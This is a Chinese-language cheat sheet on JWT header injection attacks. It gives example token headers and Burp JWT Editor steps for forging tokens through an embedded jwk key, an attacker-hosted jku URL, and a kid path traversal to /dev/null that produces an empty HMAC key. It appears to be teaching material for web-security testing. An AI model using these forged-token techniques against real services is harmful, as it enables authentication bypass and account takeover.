Jwk 参数注入

{

    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",

    "typ": "JWT",

    "alg": "RS256",

    "jwk": {

        "kty": "RSA",

        "e": "AQAB",

        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",

        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"

    }

}

由于配置错误,服务器使用嵌入在 jwk 中的密钥来验证参数

so 用自己的私钥写好 payload, jwt 头嵌入jwk

操作姿势

1、在加载该扩展后,在Burp的主选项卡栏中,转到JWT Editor Keys选项卡。

2、创建一个新的RSA密钥。

3、在消息编辑器中,切换到扩展生成的JSON Web Token选项卡,并以你喜欢的方式修改令牌的载荷。

4、点击Attack按钮,然后选择Embedded JWK。当收到提示时,选择新生成的RSA密钥。

5、发送请求,测试服务器的响应情况。

Jku 参数注入

{
    "typ": "JWT",
    "alg": "RS256",
    "kid": "a7f09b91-288c-4770-9adb-74bec3fc08df",
    "jku": "http://x.x.x.x/jku.json"
}

服务器由于配置原因,允许从外部网站获取密钥,控制服务器访问 RSA 我们自己已知的密钥

操作姿势

1、JWT Editor 生成 RSA 密钥

2、Copy public key as JWK,在 vps 中存储,开放服务准备接收

3、重放器中 修改 kid 为生成 RSA 中的 kid,添加 jku 到刚刚开放的服务

4、修改 payload,签名,发送请求

kid 参数注入

{
    "typ": "JWT",
    "alg": "HS256",
    "kid": "../../../../../../../../dev/null"
}

如果服务器存在多个密钥,会通过 kid 选择密钥,但如果未作白名单、路径遍历的防护,可以让其指向/dev/null,使其为空,对称加密的话加解密的密钥就都为空了

操作姿势

1、JWT Editor 生成 New Symmetric Key,生成,k 字段修改 AA==(空的base64)

2、重放器中 修改 kid 为 ../../../../../../../dev/null

3、修改 payload,签名,发送请求